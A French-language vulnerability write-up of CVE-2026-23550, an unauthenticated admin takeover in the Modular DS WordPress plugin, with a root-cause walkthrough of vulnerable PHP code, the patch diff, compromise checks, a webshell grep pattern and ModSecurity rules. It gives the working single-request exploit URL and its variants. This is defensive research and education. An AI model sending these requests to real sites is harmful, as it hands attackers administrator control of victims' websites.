
Rapport éducatif et PoC pour CVE-2026-23550, une prise de contrôle de session admin sans authentification critique dans le plugin WordPress Modular DS. Inclut une analyse de cause racine, un parcours du code source, une différence de correctif et un guide de détection.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Analyse de cause racine · Parcours du code source · Diff de correctif · PoC éducatif
Par : Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) est un plugin WordPress de gestion de sites avec plus de 40 000 installations actives. Les versions ≤ 2.5.1 contiennent une chaîne de cinq défauts cumulatifs qui permettent à tout attaquant non authentifié de contourner l'authentification, d'invoquer le point de terminaison de connexion interne du plugin, et de recevoir un cookie de sessionwordpress_logged_in_*pour le premier compte administrateur — avec une seule requête HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Résultat : prise de contrôle totale de l'administrateur. L'attaquant peut installer des plugins malveillants, déposer des webshells, créer des comptes administrateur de secours, exfiltrer la base de données.
La vulnérabilité déclenche un routeur personnalisé dérivé de Laravel intégré dans le plugin. Le plugin embarque son propre noyau HTTP (Ares/Framework) qui s'accroche à l'action parse_request de WordPress pour détourner les requêtes avant que le routage propre de WordPress ne prenne le relais.
Prérequis : aucun (plugin installé et actif, connecté au SaaS Modular — par défaut pour toutes les installations en production).
Points d'entrée (un seul suffit) :
/api/modular-connector/login/<any>?origin=mo&type=<any>
/?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/index.php?rest_route=/api/modular-connector/login/<any>&origin=mo&type=<any>
/wp-load.php?origin=mo&type=<any>
La vulnérabilité n'est pas un défaut unique : c'est une chaîne de cinq défauts cumulatifs. Chaque couche, prise isolément, peut sembler défendable ; combinées, elles s'effondrent en une prise de contrôle administrateur sans authentification.
flowchart TB
A["🌐 Requête attaquant<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Porte s'ouvre sur les seuls paramètres de requête"]
B --> C["② Router::findRoute()<br/>URL implicitement résolue vers la route /login"]
C --> D["③ Filtre bindOldRoutes()<br/>Échec sur type inconnu"]
D --> E["④ ModularGuard::check()<br/>Valide l'OAuth serveur, PAS la requête"]
E --> F["⑤ AuthController::getLogin()<br/>Repli vers le premier utilisateur admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Attaquant = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
HttpUtils::isDirectRequest()Fichier : vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ query-param only, no signature
}
return false;
}
Problème : Le mode « requête directe » — censé identifier les appels légitimes du backend Modular SaaS — est verrouillé par des paramètres de requête en texte clair sans HMAC, sans JWT, sans nonce signé, sans liste blanche IP. N'importe quel attaquant peut actionner cet interrupteur.
Router::findRoute()Fichier : vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolue en route AVANT que le filtre ne s'exécute
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problème : routes->match($request) de Laravel résout /api/modular-connector/login/xxx en la route login (protégée par authentification) avant que le filtre de sécurité ne s'exécute. Le filtre reçoit cette route en entrée, ce qui lui donne la charge de prouver que la route est illégitime plutôt que de l'autoriser explicitement.
bindOldRoutes()Fichier : src/app/Providers/RouteServiceProvider.php:46
public function bindOldRoutes($route, $removeQuery = false)
{
if (!HttpUtils::isDirectRequest()) return $route;
$request = request();
$type = $request->header('x-mo-type', $request->get('type'));
if ($type === 'request') { /* rebind via signed OAuth call */ }
if ($type === 'oauth') { /* rebind to /oauth handler */ }
if ($type === 'lb') { /* rebind to /schedule/run */ }
return $route; // ⚠️ Unknown type → route from URL stays as-is
}
Problème : Le filtre ne remplace la route que lorsque type est l'une des trois valeurs connues. Quand type est arbitraire (x, foo, vide), il retombe et renvoie la route résolue par l'URL inchangée. La route pilotée par l'URL login — qui était théoriquement protégée par authentification — passe à l'évaluation du middleware.
ModularGuard::check()Fichier : vendor/ares/framework/src/Foundation/Auth/ModularGuard.php:16
public function check()
{
return !is_null($this->user());
}
public function user()
{
$client = OauthClient::getClient();
try {
$client->validateOrRenewAccessToken(); // ⚠️ vérifie l'état du SERVEUR
$this->user = ['id' => $client->getClientId()];
} catch (\Throwable $e) {
return null;
}
return $this->user;
}
Problème : Le garde personnalisé modular effectue zéro vérification de l'identité de la requête entrante. Il vérifie seulement que le plugin lui-même possède toujours une session OAuth valide avec le SaaS Modular. Comme pratiquement toutes les installations sont connectées (sinon le plugin est inutile), le garde renvoie true pour toute requête qui l'atteint.
C'est le défaut central. Même si les défauts ①–③ étaient corrigés, ce seul garde défaillant permettrait toujours un accès non autorisé à chaque route du groupe middleware auth.
AuthController::getLogin()Fichier : src/app/Http/Controllers/AuthController.php:66
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id'); // null — binding never populated
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // 💣 premier admin du site
}
$cookies = ServerSetup::loginAs($user, true); // 💣 émet un cookie de session WP
return Response::redirectTo(admin_url('index.php'))->withCookies($cookies);
}
Problème : La liaison route-modèle SiteRequest n'est renseignée que lorsque type === 'request' dans la chaîne de filtres. Pour un type inconnu, $modularRequest arrive au contrôleur comme un objet vide. Le contrôleur se replie alors silencieusement sur le premier utilisateur administrateur et lui émet un cookie de connexion WordPress. N'importe qui peut entrer par la porte d'entrée.
━━━ vendor/ares/framework/src/Foundation/Routing/Router.php ━━━
- $route = apply_filters('ares/routes/match', $this->routes->match($request), true);
+ $route = apply_filters('ares/routes/match', true);
━━━ src/app/Providers/RouteServiceProvider.php ━━━
- public function bindOldRoutes($route, $removeQuery = false)
- {
- if (!HttpUtils::isDirectRequest()) return $route;
+ public function bindOldRoutes($removeQuery = false)
+ {
+ $routes = app('router')->getRoutes();
+ $route = $routes->getByName('default'); // 👈 commencer toujours par une route 404
+ $route->bind(request());
+ if (!HttpUtils::isDirectRequest()) return $route;
━━━ src/routes/api.php ━━━
+ Route::get('default/{request}', function () {
+ abort(404);
+ })->name('default');
Le correctif supprime entièrement la résolution implicite URL→route. Le filtre commence maintenant avec une route default câblée pour abort(404) et ne se rebinde vers un vrai contrôleur que lorsque type est l'une des trois valeurs explicitement autorisées. Avec la nouvelle logique, type=x produit une 404 — la requête n'atteint jamais le contrôleur de connexion, et il n'y a rien contre quoi la garde défaillante puisse échouer en mode ouvert.
Il s'agit d'une défense en profondeur appliquée rétroactivement : même si ModularGuard::check() reste structurellement faible, la chaîne d'accessibilité vers lui est désormais fermée pour les routes protégées par l'authentification.
modular-connector >= 2.5.2 — non négociable.Après la mise à jour, considérer une compromission si le plugin était en version ≤ 2.5.1 et accessible depuis Internet depuis le 2026-01-13. Vérifier :
# 1. Comptes administrateur non autorisés
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
# 2. Installations suspectes de plugins après le 2026-01-13
find wp-content/plugins/ -type d -newer /tmp/marker-jan13
# 3. Fichiers noyaux récemment modifiés
find wp-includes/ wp-admin/ -type f -mtime -30
# 4. Webshells (charges utiles courantes déposées après exploitation)
grep -rEn '(eval\(base64_decode|assert\(\$_|passthru\(\$_|preg_replace.*/e)' wp-content/
GET /api/modular-connector/login/[^\s]+\?origin=mo&type=[^\s]+
GET /?rest_route=/api/modular-connector/login[^\s]+origin=mo
SecRule REQUEST_URI "@rx /api/modular-connector/login" \
"id:2026023550,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 exploit attempt (Modular DS)'"
SecRule ARGS:origin "@streq mo" \
"chain,id:2026023551,phase:1,deny,status:403,log,\
msg:'CVE-2026-23550 direct-request bypass attempt'"
SecRule ARGS:type "@rx .+"
Beelze · zeroday 1diot9
Chercheur avancé en CVE · Analyste de vulnérabilités · Constructeur de PoC
Ce dépôt est publié strictement à des fins éducatives et de recherche défensive.
La vulnérabilité est divulguée publiquement (CVE-2026-23550), corrigée par l'éditeur (
modular-connector 2.5.2), et détaillée dans la presse de sécurité grand public. Cet article existe pour aider les défenseurs à comprendre la cause racine, les développeurs à apprendre d'un échec de conception d'authentification réel, et les chercheurs à étudier un modèle de défauts en chaîne.N'exécutez pas les scripts PoC inclus contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester. L'accès non autorisé à un système informatique est illégal dans pratiquement toutes les juridictions (CFAA · Computer Misuse Act · ITE Law · etc.).
L'auteur décline toute responsabilité en cas de mauvaise utilisation. Si vous n'êtes pas sûr que votre cas d'usage soit autorisé, il ne l'est probablement pas.
Créé avec 🎯 pour la communauté de recherche en sécurité.
⭐ Mettez une étoile à ce dépôt si cela vous a aidé à apprendre quelque chose.
| Champ | Valeur |
|---|
| Nom du plugin | Modular DS |
| Slug | modular-connector |
| Vulnérable | <= 2.5.1 |
| Corrigé | 2.5.2 |
| Installations actives | ~40 000 |
| CVSS v3.1 | 10.0 / CRITICAL (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Identification et échecs d'authentification |
| # | Couche | Fichier | Cause racine |
|---|
| ① | Porte de démarrage | HttpUtils.php:64 | Vérification uniquement par paramètre de requête origin=mo sans crypto/nonce |
| ② | Correspondance URL→route | Router.php:20 | Résolution d'URL implicite passée directement au filtre |
| ③ | Filtre de substitution de route | RouteServiceProvider.php:46 | type inconnu retombe avec la route d'origine intacte |
| ④ | Garde d'authentification | ModularGuard.php:16 | Valide l'état OAuth côté serveur, pas l'identité de la requête |
| ⑤ | Contrôleur de connexion | AuthController.php:66 | Repli silencieux vers getAdminUser() sur entrée manquante |
| Date | Événement |
|---|
| 2026-01-XX | L'éditeur publie la version 2.5.2 avec un correctif de sécurité silencieux |
| 2026-01-13 ~02:00 UTC | Première exploitation observée dans la nature |
| 2026-01-13 | Patchstack publie un avis · CVE-2026-23550 attribué |
| 2026-01-14 | Couverture par The Hacker News, BleepingComputer, Security Affairs |
| 2026-07-05 | Publication de cet article éducatif |